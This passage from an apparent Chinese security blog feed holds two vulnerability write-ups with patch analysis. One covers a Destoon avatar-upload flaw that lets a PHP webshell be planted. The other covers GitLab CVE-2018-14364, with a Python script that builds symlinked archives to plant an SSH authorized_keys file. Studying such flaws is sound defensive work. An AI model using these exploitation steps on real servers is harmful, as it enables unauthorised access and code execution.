<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924092323-6e1898c6-bf98-1.jpeg" alt="1.jpg"></p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>根据更新消息可知漏洞发生在头像上传处。Destoon中处理头像上传的是 module/member/avatar.inc.php 文件。在会员中心处上传头像时抓包，部分内容如下：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924092327-70161496-bf98-1.jpeg" alt="2.jpg"></p>
<p>对应着avatar.inc.php代码如下：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span> </div><div class="line">defined(<span class="string">'IN_DESTOON'</span>) <span class="keyword">or</span> <span class="keyword">exit</span>(<span class="string">'Access Denied'</span>);</div><div class="line">login();</div><div class="line"><span class="keyword">require</span> DT_ROOT.<span class="string">'/module/'</span>.$module.<span class="string">'/common.inc.php'</span>;</div><div class="line"><span class="keyword">require</span> DT_ROOT.<span class="string">'/include/post.func.php'</span>;</div><div class="line">$avatar = useravatar($_userid, <span class="string">'large'</span>, <span class="number">0</span>, <span class="number">2</span>);</div><div class="line"><span class="keyword">switch</span>($action) &#123;</div><div class="line">	<span class="keyword">case</span> <span class="string">'upload'</span>:</div><div class="line">		<span class="keyword">if</span>(!$_FILES[<span class="string">'file'</span>][<span class="string">'size'</span>]) &#123;</div><div class="line">			<span class="keyword">if</span>($DT_PC) dheader(<span class="string">'?action=html&amp;reload='</span>.$DT_TIME);</div><div class="line">			<span class="keyword">exit</span>(<span class="string">'&#123;"error":1,"message":"Error FILE"&#125;'</span>);</div><div class="line">		&#125;</div><div class="line">		<span class="keyword">require</span> DT_ROOT.<span class="string">'/include/upload.class.php'</span>;</div><div class="line"></div><div class="line">		$ext = file_ext($_FILES[<span class="string">'file'</span>][<span class="string">'name'</span>]);</div><div class="line">        $name = <span class="string">'avatar'</span>.$_userid.<span class="string">'.'</span>.$ext;</div><div class="line">		$file = DT_ROOT.<span class="string">'/file/temp/'</span>.$name;</div><div class="line"></div><div class="line">		<span class="keyword">if</span>(is_file($file)) file_del($file);</div><div class="line">        $upload = <span class="keyword">new</span> upload($_FILES, <span class="string">'file/temp/'</span>, $name, <span class="string">'jpg|jpeg|gif|png'</span>);</div><div class="line"></div><div class="line">		$upload-&gt;adduserid = <span class="keyword">false</span>;</div><div class="line"></div><div class="line">		<span class="keyword">if</span>($upload-&gt;save()) &#123;</div><div class="line">            ...</div><div class="line">		&#125; <span class="keyword">else</span> &#123;</div><div class="line">            ...</div><div class="line">		&#125;</div><div class="line">	<span class="keyword">break</span>;</div></pre></td></tr></table></figure></p>
<p>这里通过<code>$_FILES[&#39;file&#39;]</code>依次获取了上传文件扩展名<code>$ext</code>、保存临时文件名<code>$name</code>、保存临时文件完整路径<code>$file</code>变量。之后通过<code>new upload();</code>创立一个upload对象，等到<code>$upload-&gt;save()</code>时再将文件真正写入。</p>
<p><code>upload</code>对象构造函数如下，include/upload.class.php:25：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">upload</span> </span>&#123;</div><div class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($_file, $savepath, $savename = <span class="string">''</span>, $fileformat = <span class="string">''</span>)</span> </span>&#123;</div><div class="line">        <span class="keyword">global</span> $DT, $_userid;</div><div class="line">        <span class="keyword">foreach</span>($_file <span class="keyword">as</span> $file) &#123;</div><div class="line">            <span class="keyword">$this</span>-&gt;file = $file[<span class="string">'tmp_name'</span>];</div><div class="line">            <span class="keyword">$this</span>-&gt;file_name = $file[<span class="string">'name'</span>];</div><div class="line">            <span class="keyword">$this</span>-&gt;file_size = $file[<span class="string">'size'</span>];</div><div class="line">            <span class="keyword">$this</span>-&gt;file_type = $file[<span class="string">'type'</span>];</div><div class="line">            <span class="keyword">$this</span>-&gt;file_error = $file[<span class="string">'error'</span>];</div><div class="line"></div><div class="line">        &#125;</div><div class="line">        <span class="keyword">$this</span>-&gt;userid = $_userid;</div><div class="line">        <span class="keyword">$this</span>-&gt;ext = file_ext(<span class="keyword">$this</span>-&gt;file_name);</div><div class="line">        <span class="keyword">$this</span>-&gt;fileformat = $fileformat ? $fileformat : $DT[<span class="string">'uploadtype'</span>];</div><div class="line">        <span class="keyword">$this</span>-&gt;maxsize = $DT[<span class="string">'uploadsize'</span>] ? $DT[<span class="string">'uploadsize'</span>]*<span class="number">1024</span> : <span class="number">2048</span>*<span class="number">1024</span>;</div><div class="line">        <span class="keyword">$this</span>-&gt;savepath = $savepath;</div><div class="line">        <span class="keyword">$this</span>-&gt;savename = $savename;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>这里通过<code>foreach($_file as $file)</code>来遍历初始化各项参数。而<code>savepath</code>、<code>savename</code>则是通过<code>__construct($_file, $savepath, $savename = &#39;&#39;, $fileformat = &#39;&#39;)</code>直接传入参数指定。</p>
<p>因此考虑上传了两个文件，第一个文件名是<code>1.php</code>，第二个文件是<code>1.jpg</code>，只要构造合理的表单上传（参考：<a href="https://www.cnblogs.com/DeanChopper/p/4673577.html），则在avatar.inc.php中" target="_blank" rel="external">https://www.cnblogs.com/DeanChopper/p/4673577.html），则在avatar.inc.php中</a><br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ext = file_ext($_FILES[<span class="string">'file'</span>][<span class="string">'name'</span>]); <span class="comment">// `$ext`即为`php` </span></div><div class="line">$name = <span class="string">'avatar'</span>.$_userid.<span class="string">'.'</span>.$ext; <span class="comment">// $name 为 'avatar'.$_userid.'.'php'</span></div><div class="line">$file = DT_ROOT.<span class="string">'/file/temp/'</span>.$name; <span class="comment">// $file 即为 xx/xx/xx/xx.php</span></div></pre></td></tr></table></figure></p>
<p>而在<code>upload</code>类中，由于多个文件上传，<code>$this-&gt;file</code>、<code>$this-&gt;file_name</code>、<code>$this-&gt;file_type</code>将foreach在第二次循环中被置为jpg文件。测试如下：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924092333-73ddb2be-bf98-1.jpeg" alt="3.jpg"></p>
<p>回到<code>avatar.inc.php</code>，当进行文件保存时调用<code>$upload-&gt;save()</code>，include/upload.class.php:50:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">upload</span> </span>&#123;</div><div class="line">	<span class="function"><span class="keyword">function</span> <span class="title">save</span><span class="params">()</span> </span>&#123;</div><div class="line">		<span class="keyword">include</span> load(<span class="string">'include.lang'</span>);</div><div class="line">        <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;file_error) <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;_(<span class="string">'Error(21)'</span>.$L[<span class="string">'upload_failed'</span>].<span class="string">' ('</span>.$L[<span class="string">'upload_error_'</span>.<span class="keyword">$this</span>-&gt;file_error].<span class="string">')'</span>);</div><div class="line"></div><div class="line">		<span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;maxsize &gt; <span class="number">0</span> &amp;&amp; <span class="keyword">$this</span>-&gt;file_size &gt; <span class="keyword">$this</span>-&gt;maxsize) <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;_(<span class="string">'Error(22)'</span>.$L[<span class="string">'upload_size_limit'</span>].<span class="string">' ('</span>.intval(<span class="keyword">$this</span>-&gt;maxsize/<span class="number">1024</span>).<span class="string">'Kb)'</span>);</div><div class="line"></div><div class="line">        <span class="keyword">if</span>(!<span class="keyword">$this</span>-&gt;is_allow()) <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;_(<span class="string">'Error(23)'</span>.$L[<span class="string">'upload_not_allow'</span>]);</div><div class="line"></div><div class="line">        <span class="keyword">$this</span>-&gt;set_savepath(<span class="keyword">$this</span>-&gt;savepath);</div><div class="line">        <span class="keyword">$this</span>-&gt;set_savename(<span class="keyword">$this</span>-&gt;savename);</div><div class="line"></div><div class="line">        <span class="keyword">if</span>(!is_writable(DT_ROOT.<span class="string">'/'</span>.<span class="keyword">$this</span>-&gt;savepath)) <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;_(<span class="string">'Error(24)'</span>.$L[<span class="string">'upload_unwritable'</span>]);</div><div class="line">		<span class="keyword">if</span>(!is_uploaded_file(<span class="keyword">$this</span>-&gt;file)) <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;_(<span class="string">'Error(25)'</span>.$L[<span class="string">'upload_failed'</span>]);</div><div class="line">		<span class="keyword">if</span>(!move_uploaded_file(<span class="keyword">$this</span>-&gt;file, DT_ROOT.<span class="string">'/'</span>.<span class="keyword">$this</span>-&gt;saveto)) <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;_(<span class="string">'Error(26)'</span>.$L[<span class="string">'upload_failed'</span>]);</div><div class="line"></div><div class="line">		<span class="keyword">$this</span>-&gt;image = <span class="keyword">$this</span>-&gt;is_image();</div><div class="line">		<span class="keyword">if</span>(DT_CHMOD) @chmod(DT_ROOT.<span class="string">'/'</span>.<span class="keyword">$this</span>-&gt;saveto, DT_CHMOD);</div><div class="line">        <span class="keyword">return</span> <span class="keyword">true</span>;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>先经过几个基本参数的检查，然后调用<code>$this-&gt;is_allow()</code>来进行安全检查 include/upload.class.php:72：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line">    <span class="function"><span class="keyword">function</span> <span class="title">is_allow</span><span class="params">()</span> </span>&#123;</div><div class="line">		<span class="keyword">if</span>(!<span class="keyword">$this</span>-&gt;fileformat) <span class="keyword">return</span> <span class="keyword">false</span>;</div><div class="line">		<span class="keyword">if</span>(!preg_match(<span class="string">"/^("</span>.<span class="keyword">$this</span>-&gt;fileformat.<span class="string">")$/i"</span>, <span class="keyword">$this</span>-&gt;ext)) <span class="keyword">return</span> <span class="keyword">false</span>;</div><div class="line">		<span class="keyword">if</span>(preg_match(<span class="string">"/^(php|phtml|php3|php4|jsp|exe|dll|cer|shtml|shtm|asp|asa|aspx|asax|ashx|cgi|fcgi|pl)$/i"</span>, <span class="keyword">$this</span>-&gt;ext)) <span class="keyword">return</span> <span class="keyword">false</span>;</div><div class="line">		<span class="keyword">return</span> <span class="keyword">true</span>;</div><div class="line">    &#125;</div></pre></td></tr></table></figure></p>
<p>可以看到这里仅仅对<code>$this-&gt;ext</code>进行了检查，如前此时<code>$this-&gt;ext</code>为<code>jpg</code>，检查通过。</p>
<p>接着会进行真正的保存。通过<code>$this-&gt;set_savepath($this-&gt;savepath); $this-&gt;set_savename($this-&gt;savename);</code>设置了<code>$this-&gt;saveto</code>，然后通过<code>move_uploaded_file($this-&gt;file, DT_ROOT.&#39;/&#39;.$this-&gt;saveto)</code>将<code>file</code>保存到<code>$this-&gt;saveto</code> ，注意此时的<code>savepath</code>、<code>savename</code>、<code>saveto</code>均以php为后缀，而<code>$this-&gt;file</code>实际指的是第二个jpg文件。</p>
<h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><p>综上，上传两个文件，其中第一个文件以php为结尾如<code>1.php</code>，用于设置后缀名为<code>php</code>；第二个文件为<code>1.jpg</code>，jpg用于绕过检测，其内容为php一句话木马(图片马)。</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924092339-77516058-bf98-1.gif" alt="4.gif"></p>
<p>然后访问<a href="http://127.0.0.1/file/temp/avatar1.php" target="_blank" rel="external">http://127.0.0.1/file/temp/avatar1.php</a> 即可。其中<code>1</code>是自己的<code>_userid</code></p>
<p>不过实际利用上会有一定的限制。</p>
<p>第一点是destoon使用了伪静态规则，限制了file目录下php文件的执行。</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924092418-8e9ce5f2-bf98-1.jpeg" alt="5.jpg"></p>
<p>第二点是avatar.inc.php中在<code>$upload-&gt;save()</code>后，会再次对文件进行检查，然后重命名为<code>xx.jpg</code>：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">省略...</div><div class="line">$img = <span class="keyword">array</span>();</div><div class="line">$img[<span class="number">1</span>] = $dir.<span class="string">'.jpg'</span>;</div><div class="line">$img[<span class="number">2</span>] = $dir.<span class="string">'x48.jpg'</span>;</div><div class="line">$img[<span class="number">3</span>] = $dir.<span class="string">'x20.jpg'</span>;</div><div class="line">$md5 = md5($_username);</div><div class="line">$dir = DT_ROOT.<span class="string">'/file/avatar/'</span>.substr($md5, <span class="number">0</span>, <span class="number">2</span>).<span class="string">'/'</span>.substr($md5, <span class="number">2</span>, <span class="number">2</span>).<span class="string">'/_'</span>.$_username;</div><div class="line">$img[<span class="number">4</span>] = $dir.<span class="string">'.jpg'</span>;</div><div class="line">$img[<span class="number">5</span>] = $dir.<span class="string">'x48.jpg'</span>;</div><div class="line">$img[<span class="number">6</span>] = $dir.<span class="string">'x20.jpg'</span>;</div><div class="line">file_copy($file, $img[<span class="number">1</span>]);</div><div class="line">file_copy($file, $img[<span class="number">4</span>]);</div><div class="line">省略...</div></pre></td></tr></table></figure></p>
<p>因此要利用成功就需要条件竞争了。</p>
<h1 id="补丁分析"><a href="#补丁分析" class="headerlink" title="补丁分析"></a>补丁分析</h1><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924092426-939b4a4e-bf98-1.jpeg" alt="7.jpg"></p>
<p>在upload的一开始，就进行一次后缀名的检查。其中is_image如下：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_image</span><span class="params">($file)</span> </span>&#123;</div><div class="line">	<span class="keyword">return</span> preg_match(<span class="string">"/^(jpg|jpeg|gif|png|bmp)$/i"</span>, file_ext($file));</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924092431-96846556-bf98-1.jpeg" alt="6.jpg"></p>
<p>在<code>__construct()</code>的foreach中使用了break，获取了第一个文件后就跳出循环。</p>
<p>在<code>is_allow()</code>中增加对<code>$this-&gt;savename</code>的二次检查。</p>
<h1 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h1><p>嘛，祝各位大师傅中秋快乐！</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2797&quot;&gt;Destoon 20180827版本 前台getshell&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="php" scheme="http://chybeta.github.io/tags/php/"/>
    
      <category term="getshell" scheme="http://chybeta.github.io/tags/getshell/"/>
    
      <category term="命令执行" scheme="http://chybeta.github.io/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
    
      <category term="destoon" scheme="http://chybeta.github.io/tags/destoon/"/>
    
  </entry>
  
  <entry>
    <title>GitLab远程代码执行漏洞分析 -【CVE-2018-14364】</title>
    <link href="http://chybeta.github.io/2018/09/10/GitLab%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-14364%E3%80%91/"/>
    <id>http://chybeta.github.io/2018/09/10/GitLab远程代码执行漏洞分析-【CVE-2018-14364】/</id>
    <published>2018-09-10T00:04:23.000Z</published>
    <updated>2018-09-10T00:06:09.807Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://xz.aliyun.com/t/2661" target="_blank" rel="external">GitLab远程代码执行漏洞分析 -【CVE-2018-14364】</a></p>
<a id="more"></a>
<h1 id="漏洞公告"><a href="#漏洞公告" class="headerlink" title="漏洞公告"></a>漏洞公告</h1><p>2018年7月17日，Gitlab官方发布安全更新版本，修复了一个<a href="https://about.gitlab.com/2018/07/17/critical-security-release-gitlab-11-dot-0-dot-4-released/" target="_blank" rel="external">远程命令执行漏洞</a>，CVE ID为CVE-2018-14364，该漏洞由长亭研究人员发现，并在<a href="https://hackerone.com/reports/378148" target="_blank" rel="external">hackerone平台</a>提交</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191947-7061390a-ab7d-1.png" alt="1.jpg"></p>
<p>影响版本：&gt;= 8.9.0<br>修复版本：11.0.4, 10.8.6, and 10.7.7</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>以版本11.0.3为例。根据<a href="https://gitlab.com/gitlab-org/gitlab-ce/compare/v11.0.3...v11.0.4" target="_blank" rel="external">版本源码对比</a></p>
<p>从CHANGELOG.md中得知为<code>Fix symlink vulnerability in project import</code></p>
<p>主要修改的代码文件为lib/gitlab/import_export/file_importer.rb</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191948-707e9eb4-ab7d-1.png" alt="2.jpg"></p>
<p>主要关注一下<code>extracted_files</code>。</p>
<p>当我们import一个项目时，会进入到<code>file_import.rb</code>。然后调用第17行的：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">import</span></span></div><div class="line">    mkdir_p(@shared.export_path)</div><div class="line"></div><div class="line">    remove_symlinks!</div><div class="line"></div><div class="line">    wait_for_archived_file <span class="keyword">do</span></div><div class="line">        decompress_archive</div><div class="line">     <span class="keyword">end</span></div><div class="line"><span class="keyword">rescue</span> =&gt; e</div><div class="line">    @shared.error(e)</div><div class="line">    <span class="literal">false</span></div><div class="line"><span class="keyword">ensure</span></div><div class="line">    remove_symlinks!    </div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p><code>remove_symlinks</code>用于删除导入文件中存在的符号链接。此前gitlab就因为符号链接的问题爆出过多个RCE问题，因此在这里做了检查：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">remove_symlinks!</span></span></div><div class="line">    extracted_files.each <span class="keyword">do</span> <span class="params">|path|</span></div><div class="line">       FileUtils.rm(path) <span class="keyword">if</span> File.lstat(path).symlink?</div><div class="line">    <span class="keyword">end</span></div><div class="line"></div><div class="line">    <span class="literal">true</span></div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>而<code>extracted_files</code>定义在61行，这个方法用于列出解压出来的所有文件。<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">extracted_files</span></span></div><div class="line">    Dir.glob(<span class="string">"<span class="subst">#&#123;@shared.export_path&#125;</span>/**/*"</span>, File::FNM_DOTMATCH).reject &#123; <span class="params">|f|</span> f =~ <span class="regexp">%r&#123;.*/\.&#123;1,2&#125;</span>$&#125; &#125;</div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>在<a href="https://ruby-doc.org/core-2.5.1/Regexp.html" target="_blank" rel="external">ruby</a>中,关于正则表达式的符号定义如下：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191948-70a75304-ab7d-1.png" alt="3.jpg"></p>
<p>也就是说<code>%r{.*/\.{1,2}$}</code>这个正则表达式最后的<code>$</code>只能匹配到一行的末尾（Matches end of line），而不是整个字符串的末尾（Matches end of string）。</p>
<p>根据<a href="http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_169" target="_blank" rel="external">POSIX 标准</a>，对于文件名（filename）除了slash character<code>/</code>和null byte <code>NULL</code>外，其余字符均可以：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191948-70d2d358-ab7d-1.png" alt="4.jpg"></p>
<p>所以只要创建一个名字以<code>\n</code>开头的符号链接文件，就无法被<code>extracted_files</code>列出。</p>
<p>回到<a href="https://gitlab.com/gitlab-org/gitlab-ce/compare/v11.0.3...v11.0.4" target="_blank" rel="external">版本源码对比</a>，在测试文件file_importer_spec.rb里：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191948-70fb58d2-ab7d-1.png" alt="5.jpg"></p>
<p>因此构建测试环境：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">require</span> <span class="string">"tmpdir"</span></div><div class="line">puts <span class="string">"The temp dir is: <span class="subst">#&#123;Dir.tmpdir&#125;</span>"</span></div><div class="line"></div><div class="line">export_path=<span class="string">"<span class="subst">#&#123;Dir.tmpdir&#125;</span>/file_importer"</span></div><div class="line">evil_symlink_file=<span class="string">"<span class="subst">#&#123;export_path&#125;</span>/.\nevil"</span></div><div class="line">valid_file=<span class="string">"<span class="subst">#&#123;export_path&#125;</span>/valid.json"</span></div><div class="line"></div><div class="line">FileUtils.mkdir_p(<span class="string">"<span class="subst">#&#123;export_path&#125;</span>/subfolder/"</span>)</div><div class="line">FileUtils.touch(valid_file)</div><div class="line">FileUtils.ln_s(valid_file, evil_symlink_file)</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191949-711ddbd2-ab7d-1.png" alt="6.jpg"></p>
<p>可以看到原本的正则表达式是无法检测到<code>\nevil</code>文件的：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191949-713cc3ee-ab7d-1.png" alt="7.jpg"></p>
<h1 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h1><p>提供一下压缩包生成脚本：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> os</div><div class="line"><span class="keyword">import</span> shutil</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">step_one</span><span class="params">()</span>:</span></div><div class="line">        os.chdir(uploads_dir)</div><div class="line">        gitlab_dir = <span class="string">"/var/opt/gitlab"</span></div><div class="line">        evil_symlink_name = <span class="string">".\nevil"</span></div><div class="line">        os.symlink(gitlab_dir, evil_symlink_name)</div><div class="line">        os.chdir(exp_dir)</div><div class="line">        os.system(<span class="string">"tar -czf ../step1.tar.gz  . &amp;&amp; rm -r uploads &amp;&amp; mkdir uploads"</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">step_two</span><span class="params">()</span>:</span></div><div class="line">        os.chdir(uploads_dir)</div><div class="line">        evil_ssh_dir_name = <span class="string">".\nevil/.ssh"</span></div><div class="line">        os.makedirs(evil_ssh_dir_name)</div><div class="line">        evil_dir = os.getcwd() + <span class="string">"/"</span> + evil_ssh_dir_name</div><div class="line">        os.chdir(evil_dir)</div><div class="line">        shutil.copy(authorized_keys,<span class="string">"authorized_keys"</span>)</div><div class="line">        os.chdir(exp_dir)</div><div class="line">        os.system(<span class="string">"tar -czf ../step2.tar.gz  . &amp;&amp; rm -r uploads &amp;&amp; mkdir uploads"</span>)</div><div class="line"></div><div class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</div><div class="line">        uploads_dir = os.getcwd() + <span class="string">"/evil/uploads"</span></div><div class="line">        exp_dir = os.getcwd() + <span class="string">"/evil"</span></div><div class="line">        authorized_keys = os.getcwd() + <span class="string">"/key.pub"</span></div><div class="line">        step_one()</div><div class="line">        step_two()</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191949-715755c4-ab7d-1.png" alt="13.jpg"></p>
<p>key.pub里保存公钥。其余文件见文末附件压缩包。</p>
<p>创建项目project ，选择<code>Import project</code>后选择<code>Import an exported GitLab project</code></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191949-7173be94-ab7d-1.png" alt="8.jpg"></p>
<p>待导入成功后，如下图：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191950-71a2d4d6-ab7d-1.png" alt="9.jpg"></p>
<p>注意此时的项目名为<code>test</code>，同时右下角有一个<code>Remove project</code>，点击删除掉project，然而此时在gitlab的目录下，<code>test</code>还没有被删除。</p>
<p>新建一个project，仍然采用<code>Import an exported GitLab project</code>，然后上传第二个压缩包</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191950-71c0a5ce-ab7d-1.png" alt="11.jpg"></p>
<p>第二个压缩包的内容如下，<code>\nevil</code>是目录名<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">VERSION</div><div class="line">project.json</div><div class="line">uploads/</div><div class="line">uploads/.\nevil/</div><div class="line">uploads/.\nevil/.ssh/</div><div class="line">uploads/.\nevil/.ssh/authorized_keys</div></pre></td></tr></table></figure></p>
<p>gitlab在解压第二个压缩包时，会尝试往目录<code>\nevil</code>里写入<code>.ssh/authorized_keys</code>，而由于上一步的符号链接<code>\nevil</code>没有删除，所以实际写入的目录是<code>/var/opt/gitlab/.ssh/authorized_keys</code></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180829191950-71ea8628-ab7d-1.png" alt="12.jpg"></p>
<p>可以看到<code>authorized_keys</code>已经被写入了公钥。此后用用户名git和公钥对应的私钥直接ssh连接服务器即可。</p>
<h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14364" target="_blank" rel="external">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14364</a></li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2661&quot;&gt;GitLab远程代码执行漏洞分析 -【CVE-2018-14364】&lt;/a&gt;&lt;/p&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="ruby" scheme="http://chybeta.github.io/tags/ruby/"/>
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="命令执行" scheme="http://chybeta.github.io/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
    
      <category term="gitlab" scheme="http://chybeta.github.io/tags/gitlab/"/>
    
  </entry>
  
  <entry>
